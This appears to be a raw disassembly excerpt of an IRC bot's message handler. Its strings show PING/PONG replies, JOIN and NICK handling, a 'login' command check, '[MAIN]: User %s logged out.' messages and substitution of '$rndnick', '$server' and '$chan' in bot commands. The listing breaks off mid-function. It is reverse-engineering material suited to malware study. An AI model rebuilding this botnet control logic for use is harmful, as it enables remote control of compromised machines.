		pop	ecx
		jl	short loc_4079BA
		mov	ebx, [ebp+var_A4]
		xor	esi, esi
		cmp	ebx, esi
		jz	loc_407B7B
		cmp	[ebp+var_A0], esi
		jz	loc_407B7B
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_4AC]
		push	1Fh
		rep stosd
		pop	edx


loc_4079FC:				; CODE XREF: sub_4078FA+13Aj
		lea	ecx, [ebp+edx*4+var_A4]
		mov	eax, [ecx]
		cmp	eax, esi
		jz	short loc_407A33
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_407A36
		cmp	byte ptr [eax+2], 0
		jnz	short loc_407A36
		movsx	edi, byte ptr [eax+1]
		and	byte ptr [eax],	0
		and	byte ptr [eax+1], 0
		and	byte ptr [eax+2], 0
		mov	[ecx], esi
		mov	ebx, [ebp+var_A4]
		mov	[ebp+edi+var_4AC], 1


loc_407A33:				; CODE XREF: sub_4078FA+10Dj
		dec	edx
		jns	short loc_4079FC


loc_407A36:				; CODE XREF: sub_4078FA+112j
					; sub_4078FA+118j
		cmp	[ebp+var_439], 0
		jz	short loc_407A46
		mov	[ebp+var_C], 1


loc_407A46:				; CODE XREF: sub_4078FA+143j
		cmp	[ebp+var_43E], 0
		jz	short loc_407A59
		mov	[ebp+var_C], esi
		mov	[ebp+var_4], 1


loc_407A59:				; CODE XREF: sub_4078FA+153j
		cmp	byte ptr [ebx],	0Ah
		jz	short loc_407A93
		push	7Fh
		lea	eax, [ebp+var_C04]
		push	ebx
		push	eax
		call	sub_412C40
		push	17h
		lea	eax, [ebx+1]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_E0]
		push	offset asc_4264C0 ; "!"
		push	eax
		call	sub_413859
		add	esp, 20h


loc_407A93:				; CODE XREF: sub_4078FA+162j
		push	5
		mov	edi, ebx
		mov	esi, offset aPing ; "PING"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_407AE1
		push	[ebp+var_A0]
		mov	byte ptr [ebx+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	dword ptr [eax], 0
		jnz	loc_407B7B


loc_407AC9:				; CODE XREF: sub_4078FA+3DAj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_407AD4:				; CODE XREF: sub_4078FA+6D6j
					; sub_4078FA+93Cj ...
		push	[ebp+arg_4]
		call	sub_404592
		jmp	loc_40BE11
; ---------------------------------------------------------------------------


loc_407AE1:				; CODE XREF: sub_4078FA+1A7j
		mov	edx, [ebp+var_A0]
		push	4
		pop	eax
		mov	edi, edx
		mov	esi, offset a001 ; "001"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40D1A7
		mov	edi, edx
		mov	esi, offset a005 ; "005"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40D1A7
		mov	edi, edx
		mov	esi, offset a302 ; "302"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jnz	short loc_407B44
		push	offset a@	; "@"
		push	[ebp+var_98]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407B7B
		push	9Fh
		inc	eax
		push	eax
		push	[ebp+arg_1C]
		jmp	loc_407DE9
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_4078FA+223j
		mov	ecx, eax
		mov	edi, edx
		mov	esi, offset a433 ; "433"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_407B83
		push	eax
		push	dword_42AE68
		push	dword_42AE64
		push	[ebp+arg_10]
		call	sub_40E7B0
		push	[ebp+arg_10]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		add	esp, 1Ch


loc_407B7B:				; CODE XREF: sub_4078FA+E0j
					; sub_4078FA+ECj ...
		xor	eax, eax


loc_407B7D:				; CODE XREF: sub_4078FA+55j
		inc	eax


loc_407B7E:				; CODE XREF: sub_4078FA+172Dj
					; sub_4078FA+2E43j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407B83:				; CODE XREF: sub_4078FA+257j
		mov	edi, [ebp+arg_18]
		push	2
		pop	edx


loc_407B89:				; CODE XREF: sub_4078FA+2D0j
		lea	eax, [ebp+var_C04]
		mov	esi, edi


loc_407B91:				; CODE XREF: sub_4078FA+2B3j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_407BB3
		test	cl, cl
		jz	short loc_407BAF
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_407BB3
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_407B91


loc_407BAF:				; CODE XREF: sub_4078FA+2A1j
		xor	eax, eax
		jmp	short loc_407BB8
; ---------------------------------------------------------------------------


loc_407BB3:				; CODE XREF: sub_4078FA+29Dj
					; sub_4078FA+2ABj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407BB8:				; CODE XREF: sub_4078FA+2B7j
		test	eax, eax
		jnz	short loc_407BC3
		mov	[ebp+var_20], 1


loc_407BC3:				; CODE XREF: sub_4078FA+2C0j
		add	edi, 80h
		dec	edx
		jnz	short loc_407B89
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aKick ; "KICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407CD9
		mov	edi, [ebp+arg_18]
		push	2
		pop	ebx


loc_407BEA:				; CODE XREF: sub_4078FA+396j
		cmp	byte ptr [edi],	0
		jz	loc_407C89
		push	7Fh
		lea	eax, [ebp+var_C04]
		push	edi
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		cmp	[ebp+var_98], 0
		jz	short loc_407C89
		mov	esi, [ebp+var_98]
		lea	eax, [ebp+var_E0]


loc_407C1A:				; CODE XREF: sub_4078FA+33Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407C3C
		test	cl, cl
		jz	short loc_407C38
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407C3C
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407C1A


loc_407C38:				; CODE XREF: sub_4078FA+32Aj
		xor	eax, eax
		jmp	short loc_407C41
; ---------------------------------------------------------------------------


loc_407C3C:				; CODE XREF: sub_4078FA+326j
					; sub_4078FA+334j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407C41:				; CODE XREF: sub_4078FA+340j
		test	eax, eax
		jnz	short loc_407C89
		and	[edi], al
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		add	esp, 20h


loc_407C89:				; CODE XREF: sub_4078FA+2F3j
					; sub_4078FA+312j ...
		add	edi, 80h
		dec	ebx
		jnz	loc_407BEA
		mov	esi, [ebp+var_98]
		mov	eax, [ebp+arg_10]


loc_407C9F:				; CODE XREF: sub_4078FA+3C1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407CC1
		test	cl, cl
		jz	short loc_407CBD
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407CC1
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407C9F


loc_407CBD:				; CODE XREF: sub_4078FA+3AFj
		xor	eax, eax
		jmp	short loc_407CC6
; ---------------------------------------------------------------------------


loc_407CC1:				; CODE XREF: sub_4078FA+3ABj
					; sub_4078FA+3B9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407CC6:				; CODE XREF: sub_4078FA+3C5j
		test	eax, eax
		jnz	loc_407B7B
		mov	eax, [ebp+arg_20]
		and	dword ptr [eax], 0
		jmp	loc_407AC9
; ---------------------------------------------------------------------------


loc_407CD9:				; CODE XREF: sub_4078FA+2E4j
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aNick ; "NICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407EB9
		mov	eax, [ebp+var_9C]
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_18]
		inc	eax
		sub	[ebp+var_1C], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+var_20], 2


loc_407D0C:				; CODE XREF: sub_4078FA+4A3j
		lea	eax, [ebp+var_C04]
		mov	esi, ebx


loc_407D14:				; CODE XREF: sub_4078FA+436j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_407D36
		test	cl, cl
		jz	short loc_407D32
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_407D36
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_407D14


loc_407D32:				; CODE XREF: sub_4078FA+424j
		xor	eax, eax
		jmp	short loc_407D3B
; ---------------------------------------------------------------------------


loc_407D36:				; CODE XREF: sub_4078FA+420j
					; sub_4078FA+42Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407D3B:				; CODE XREF: sub_4078FA+43Aj
		test	eax, eax
		jnz	short loc_407D94
		lea	eax, [ebp+var_C04]
		push	21h
		push	eax
		call	sub_413F30
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_407D94
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		lea	ecx, [ebx+2]
		mov	byte ptr [ebx],	3Ah
		lea	esi, [eax+ecx]


loc_407D64:				; CODE XREF: sub_4078FA+472j
		mov	al, [edx]
		mov	[esi+edx], al
		inc	edx
		test	al, al
		jnz	short loc_407D64
		mov	eax, edi
		mov	esi, edi


loc_407D72:				; CODE XREF: sub_4078FA+47Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_407D72
		sub	eax, esi
		dec	ecx


loc_407D7C:				; CODE XREF: sub_4078FA+488j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_407D7C
		mov	edi, ecx
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_407D94:				; CODE XREF: sub_4078FA+443j
					; sub_4078FA+459j
		add	ebx, 80h
		dec	[ebp+var_20]
		jnz	loc_407D0C
		cmp	[ebp+arg_0], 0
		jz	loc_407B7B
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_E0]


loc_407DB6:				; CODE XREF: sub_4078FA+4D8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407DD8
		test	cl, cl
		jz	short loc_407DD4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407DD8
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407DB6


loc_407DD4:				; CODE XREF: sub_4078FA+4C6j
		xor	eax, eax
		jmp	short loc_407DDD
; ---------------------------------------------------------------------------


loc_407DD8:				; CODE XREF: sub_4078FA+4C2j
					; sub_4078FA+4D0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407DDD:				; CODE XREF: sub_4078FA+4DCj
		test	eax, eax
		jnz	short loc_407DF6
		push	0Fh
		push	[ebp+arg_0]
		push	[ebp+arg_10]


loc_407DE9:				; CODE XREF: sub_4078FA+245j
		call	sub_412C40
		add	esp, 0Ch
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: sub_4078FA+4E5j
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_407DFB:				; CODE XREF: sub_4078FA+543j
		cmp	byte ptr [edx],	0
		jz	short loc_407E33
		lea	eax, [ebp+var_C04]
		mov	esi, edx


loc_407E08:				; CODE XREF: sub_4078FA+52Aj
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_407E2A
		test	cl, cl
		jz	short loc_407E26
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_407E2A
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_407E08


loc_407E26:				; CODE XREF: sub_4078FA+518j
		xor	eax, eax
		jmp	short loc_407E2F
; ---------------------------------------------------------------------------


loc_407E2A:				; CODE XREF: sub_4078FA+514j
					; sub_4078FA+522j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407E2F:				; CODE XREF: sub_4078FA+52Ej
		test	eax, eax
		jz	short loc_407E44


loc_407E33:				; CODE XREF: sub_4078FA+504j
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_407DFB
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_407E44:				; CODE XREF: sub_4078FA+537j
		lea	eax, [ebp+var_C04]
		push	21h
		push	eax
		call	sub_413F30
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_407B7B
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+1]


loc_407E64:				; CODE XREF: sub_4078FA+56Fj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jnz	short loc_407E64
		sub	ecx, edx
		mov	edx, ebx
		lea	esi, [edx+1]


loc_407E72:				; CODE XREF: sub_4078FA+57Dj
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_407E72
		sub	edx, esi
		add	edx, ecx
		cmp	edx, 7Eh
		ja	loc_407B7B
		push	ebx
		push	[ebp+arg_0]
		shl	edi, 7
		add	edi, [ebp+arg_18]
		push	offset aSS_2	; ":%s%s"
		push	edi
		call	sub_412BB5
		push	0
		push	0
		lea	eax, [ebp+var_410]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 24h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_407EB9:				; CODE XREF: sub_4078FA+3F1j
		mov	edi, [ebp+var_A0]
		mov	ebx, offset aPart ; "PART"
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_407EE3
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aQuit ; "QUIT"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_407F33


loc_407EE3:				; CODE XREF: sub_4078FA+5D3j
		mov	esi, [ebp+arg_18]
		xor	eax, eax
		mov	[ebp+var_10], esi


loc_407EEB:				; CODE XREF: sub_4078FA+637j
		cmp	byte ptr [esi],	0
		jz	short loc_407F21
		mov	edi, [ebp+var_A4]


loc_407EF6:				; CODE XREF: sub_4078FA+618j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_407F18
		test	cl, cl
		jz	short loc_407F14
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_407F18
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_407EF6


loc_407F14:				; CODE XREF: sub_4078FA+606j
		xor	ecx, ecx
		jmp	short loc_407F1D
; ---------------------------------------------------------------------------


loc_407F18:				; CODE XREF: sub_4078FA+602j
					; sub_4078FA+610j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_407F1D:				; CODE XREF: sub_4078FA+61Cj
		test	ecx, ecx
		jz	short loc_407F76


loc_407F21:				; CODE XREF: sub_4078FA+5F4j
		mov	esi, [ebp+var_10]
		inc	eax
		add	esi, 80h
		cmp	eax, 2
		mov	[ebp+var_10], esi
		jl	short loc_407EEB


loc_407F33:				; CODE XREF: sub_4078FA+5E7j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset a353 ; "353"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407FF7
		mov	esi, [ebp+var_94]
		mov	eax, [ebp+arg_8]


loc_407F54:				; CODE XREF: sub_4078FA+676j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407FD5
		test	cl, cl
		jz	short loc_407F72
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407FD5
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407F54


loc_407F72:				; CODE XREF: sub_4078FA+664j
		xor	eax, eax
		jmp	short loc_407FDA
; ---------------------------------------------------------------------------


loc_407F76:				; CODE XREF: sub_4078FA+625j
		mov	ecx, [ebp+arg_18]
		shl	eax, 7
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUserSLog_0 ; "[MAIN]: User:	%s logged out."
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		mov	edi, [ebp+var_A0]
		add	esp, 10h
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407B7B
		lea	eax, [ebp+var_2E0]
		push	eax
		mov	eax, [ebp+var_A4]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_407AD4
; ---------------------------------------------------------------------------


loc_407FD5:				; CODE XREF: sub_4078FA+660j
					; sub_4078FA+66Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407FDA:				; CODE XREF: sub_4078FA+67Aj
		test	eax, eax
		jnz	short loc_407FE7
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_407FE7:				; CODE XREF: sub_4078FA+6E2j
		push	[ebp+var_94]
		push	offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
		jmp	loc_40D19B
; ---------------------------------------------------------------------------


loc_407FF7:				; CODE XREF: sub_4078FA+64Bj
		mov	edi, [ebp+var_A0]
		mov	eax, offset aPrivmsg ; "PRIVMSG"
		push	8
		xor	edx, edx
		mov	esi, eax
		pop	ecx
		repe cmpsb
		mov	edx, offset aNotice ; "NOTICE"
		jz	short loc_408047
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_408047
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_40CFE2
		cmp	dword_42AE50, ebx
		jz	loc_40CFE2


loc_408047:				; CODE XREF: sub_4078FA+716j
					; sub_4078FA+727j
		mov	edi, [ebp+var_A0]
		mov	ebx, [ebp+var_1C]
		mov	esi, eax
		push	8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40814C
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40814C
		mov	eax, [ebp+var_98]
		inc	[ebp+var_94]
		mov	[ebp+var_1C], 4
		mov	[ebp+var_9C], eax


loc_40808D:				; CODE XREF: sub_4078FA+910j
					; sub_4078FA+94Fj ...
		mov	ebx, [ebp+var_1C]
		shl	ebx, 2
		lea	eax, [ebp+ebx+var_A4]
		mov	ecx, [eax]
		lea	edx, [ecx+1]
		mov	[eax], edx
		mov	al, byte_42AE5C
		cmp	[ecx], al
		mov	[ebp+var_A8], edx
		jnz	loc_407B7B
		push	6
		mov	edi, edx
		mov	esi, offset aLogin ; "login"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40CFEA
		push	2
		mov	edi, edx
		mov	esi, offset dword_4263E8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40CFEA
		cmp	[ebp+var_20], eax
		jnz	short loc_4080F9
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40CFE2


loc_4080F9:				; CODE XREF: sub_4078FA+7E5j
		xor	eax, eax
		cmp	[ebp+arg_28], eax
		jnz	loc_40CFE2
		cmp	dword_42B280, eax
		mov	[ebp+var_10], eax
		jle	loc_408417
		mov	[ebp+var_8], offset dword_479030


loc_40811A:				; CODE XREF: sub_4078FA+99Aj
		mov	edi, [ebp+var_8]
		mov	esi, edx


loc_40811F:				; CODE XREF: sub_4078FA+849j
		mov	cl, [edi]
		mov	al, cl
		cmp	cl, [esi]
		jnz	loc_408278
		test	al, al
		jz	short loc_408145
		mov	cl, [edi+1]
		mov	al, cl
		cmp	cl, [esi+1]
		jnz	loc_408278
		inc	edi
		inc	edi
		inc	esi
		inc	esi
		test	al, al
		jnz	short loc_40811F


loc_408145:				; CODE XREF: sub_4078FA+833j
		xor	eax, eax
		jmp	loc_40827D
; ---------------------------------------------------------------------------


loc_40814C:				; CODE XREF: sub_4078FA+75Fj
					; sub_4078FA+774j
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_408164
		mov	[ebp+var_4], 1


loc_408164:				; CODE XREF: sub_4078FA+861j
		cmp	[ebp+var_9C], 0
		jz	loc_407B7B
		push	offset dword_4263E4
		push	[ebp+var_9C]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40818D
		cmp	[ebp+var_4], 0
		jz	short loc_408199


loc_40818D:				; CODE XREF: sub_4078FA+88Bj
		lea	eax, [ebp+var_E0]
		mov	[ebp+var_9C], eax


loc_408199:				; CODE XREF: sub_4078FA+891j
		cmp	[ebp+var_98], 0
		jz	loc_407B7B
		inc	[ebp+var_98]
		jz	short loc_4081E8
		cmp	[ebp+arg_10], 0
		jz	short loc_4081E8
		lea	eax, [ebp+var_3AC]
		lea	edx, [eax+1]


loc_4081BD:				; CODE XREF: sub_4078FA+8C8j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4081BD
		sub	eax, edx
		push	eax
		push	[ebp+var_98]
		lea	eax, [ebp+var_3AC]
		push	eax
		call	sub_414380
		add	esp, 0Ch
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		add	ebx, 4
		mov	[ebp+var_1C], ebx


loc_4081E8:				; CODE XREF: sub_4078FA+8B2j
					; sub_4078FA+8B8j
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+eax+var_A4]
		test	edx, edx
		jz	loc_407B7B
		push	0Ah
		mov	edi, edx
		mov	esi, offset dword_4263D8
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_40808D
		mov	esi, [ebp+var_9C]
		mov	bl, [esi]
		cmp	bl, 23h
		jz	short loc_40823B
		mov	ecx, dword_479BBC
		mov	ecx, off_42AF40[ecx*4]
		cmp	byte ptr [ecx],	0
		jz	short loc_40823B
		push	ecx
		push	esi
		push	offset dword_4263BC
		jmp	loc_407AD4
; ---------------------------------------------------------------------------


loc_40823B:				; CODE XREF: sub_4078FA+921j
					; sub_4078FA+933j
		mov	edi, edx
		push	6
		mov	esi, offset dword_4263B4
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40808D
		mov	eax, [ebp+eax+var_A0]
		test	eax, eax
		jz	loc_40808D
		cmp	bl, 23h
		jz	loc_40808D
		push	eax
		push	[ebp+var_9C]
		push	offset dword_42639C
		jmp	loc_407AD4
; ---------------------------------------------------------------------------


loc_408278:				; CODE XREF: sub_4078FA+82Bj
					; sub_4078FA+83Dj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40827D:				; CODE XREF: sub_4078FA+84Dj
		test	eax, eax
		jz	short loc_40829F
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	[ebp+var_8], 0B8h
		cmp	eax, dword_42B280
		jl	loc_40811A
		jmp	loc_408417
; ---------------------------------------------------------------------------


loc_40829F:				; CODE XREF: sub_4078FA+985j
		push	offset asc_4246B4 ; " :"
		push	[ebp+arg_0]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B7B
		mov	esi, [ebp+var_10]
		mov	cl, byte_42AE5C
		imul	esi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42AE5C
		mov	[eax+3], cl
		push	9Fh
		lea	ecx, dword_479048[esi]
		push	ecx
		add	eax, 4
		push	eax
		call	sub_412C40
		lea	eax, dword_479030[esi]
		lea	edi, [ebp+ebx+var_64]
		add	esp, 0Ch
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_AC], eax
		mov	esi, edi


loc_408302:				; CODE XREF: sub_4078FA+AAFj
		push	[ebp+var_10]
		lea	eax, [ebp+var_B8]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_413920
		add	esp, 14h
		test	eax, eax
		jz	short loc_40836E
		cmp	dword ptr [esi], 0
		jz	short loc_408373
		mov	eax, [ebp+var_AC]
		lea	edx, [eax+1]


loc_40833A:				; CODE XREF: sub_4078FA+A45j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40833A
		sub	eax, edx
		add	[ebp+var_14], eax
		jz	short loc_40839F
		push	dword ptr [esi-4]
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40839F
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		add	esp, 0Ch
		jmp	short loc_40839F
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_4078FA+A30j
		cmp	dword ptr [esi], 0
		jnz	short loc_40839F


loc_408373:				; CODE XREF: sub_4078FA+A35j
		push	2
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_412C40
		and	[ebp+var_22], 0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		add	esp, 18h


loc_40839F:				; CODE XREF: sub_4078FA+A4Cj
					; sub_4078FA+A5Dj ...
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	loc_408302
		mov	[ebp+var_10], 10h
		mov	esi, edi


loc_4083B8:				; CODE XREF: sub_4078FA+B0Bj
		push	[ebp+var_10]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_413920
		add	esp, 14h
		test	eax, eax
		jz	short loc_4083FB
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4083FB
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40556E
		add	esp, 0Ch


loc_4083FB:				; CODE XREF: sub_4078FA+AE6j
					; sub_4078FA+AECj
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	short loc_4083B8
		mov	edx, [ebp+var_A8]
		mov	[ebp+var_AC], 1


loc_408417:				; CODE XREF: sub_4078FA+813j
					; sub_4078FA+9A0j
		mov	al, byte_42AE5C
		cmp	[edx], al
		jz	short loc_40842D
		cmp	[ebp+var_AC], 0
		jz	loc_408609


loc_40842D:				; CODE XREF: sub_4078FA+B24j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_40556E
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40556E
		push	[ebp+var_9C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40556E
		push	0
		push	0
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_40E7B0
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_40556E
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40556E
		mov	esi, offset aChr ; "$chr("
		push	esi
		push	edi
		call	sub_413920
		add	esp, 14h
		jmp	loc_40858D
; ---------------------------------------------------------------------------


loc_4084A4:				; CODE XREF: sub_4078FA+C95j
		push	esi
		push	[ebp+arg_0]
		call	sub_413920
		mov	[ebp+var_A8], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_B8]
		push	offset asc_42635C ; ")"
		push	eax
		call	sub_413859
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_4084EB
		cmp	[ebp+var_B8], 39h
		jle	short loc_408501


loc_4084EB:				; CODE XREF: sub_4078FA+BE6j
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_408501:				; CODE XREF: sub_4078FA+BEFj
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	short loc_408524
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_24], al
		jmp	short loc_408535
; ---------------------------------------------------------------------------


loc_408524:				; CODE XREF: sub_4078FA+C16j
		call	sub_412D71
